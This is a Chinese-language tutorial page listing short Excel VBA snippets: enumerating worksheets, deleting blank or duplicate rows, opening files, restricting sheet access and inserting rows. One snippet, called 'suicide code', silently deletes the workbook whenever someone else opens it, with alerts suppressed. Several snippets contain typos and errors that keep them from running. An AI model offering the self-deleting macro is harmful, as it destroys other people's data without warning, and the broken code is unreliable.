QINMS.com >> 首页 >>  >> 正文

EXCEL-VBA代码(一)

EXCEL是一个伟大的软件,VBA(Visual Basic for Applications)的自动化运行更是如虎添翼,如果你使用表格时总在不断的重复同样的内容,比如依照一个模板做很多很多的文件。修改成百上千个格式一样的文件,进行复杂的运算,或者你的工作表有成百上千条数据看得眼花缭乱,烦了的时候,就用用VBA吧。

在这里罗列一些执行特定功能的VBA代码(代码中出现'--'之后的部分是注解)。

1.历遍工作表

查询工作薄中所有的表格:

Sub one()--注:VBA里一个可以单独运行的过程,都以SUB开头,不区分大小写。

For I to worksheets.count--注,循环历遍所有表格。

   str=str & workshees(i).name & vbcrLf

NEXT

Msgbox "工作簿中含有以下工作表:" &vbcrLf & str

End sub

或者还可以这样:

Sub two()

For each sht in worksheets

str=str & sht.name & vbcrLf

   NEXT

Msgbox "工作簿中含有以下工作表:" &vbcrLf & str

End sub

2.删除空行

Sub aaa()

For i=r to 1 step -1

If rows(i).find("*",,xlvalne,,,2) is nothing then

   Row (i).delete

End if

Next

End sub

若是删除重复的行,则可以这样:

Sub aaa()

For i=r to 1 step -1

if worksheetfunction.countif(sheet1.columns(1),sheet1.cells(I,1))>1 then

   Row (i).delete

End if

Next

End sub

3.自杀代码

很好玩吧,别人一打开你的excel文件。它就自杀,没了。(当然,你打开一样)长配合时间函数或者密码使用。

Public Sub kill()

On Error Resume Next--忽略可能出现的错误继续运行。

    Application.DisplayAlerts = False--不出现任何警告。

   ThisWorkbook.ChangeFileAccess xlReadOnly

   Kill ThisWorkbook.FullName

   ThisWorkbook.close False

   End Sub

4.打开指定文件

神不知鬼不觉的打开一个文件,就可以随意修改、调用里面的数据。

Workbook.open ThisWorkbook.Path & "\工作表.xlsx", , , , a --a为密码

5.限制选择其他工作表:

Private sub worksheet_deactivate()

   Activesheet.activate

   Msgbox "你无权访问其他表格",vbcritical +vbokonly,"警告"

end sub

6.插入行:

Activesheet.rows(r).insert

之前的r行向下移动


[1]【2】【3下一页

METi. 版权所有 |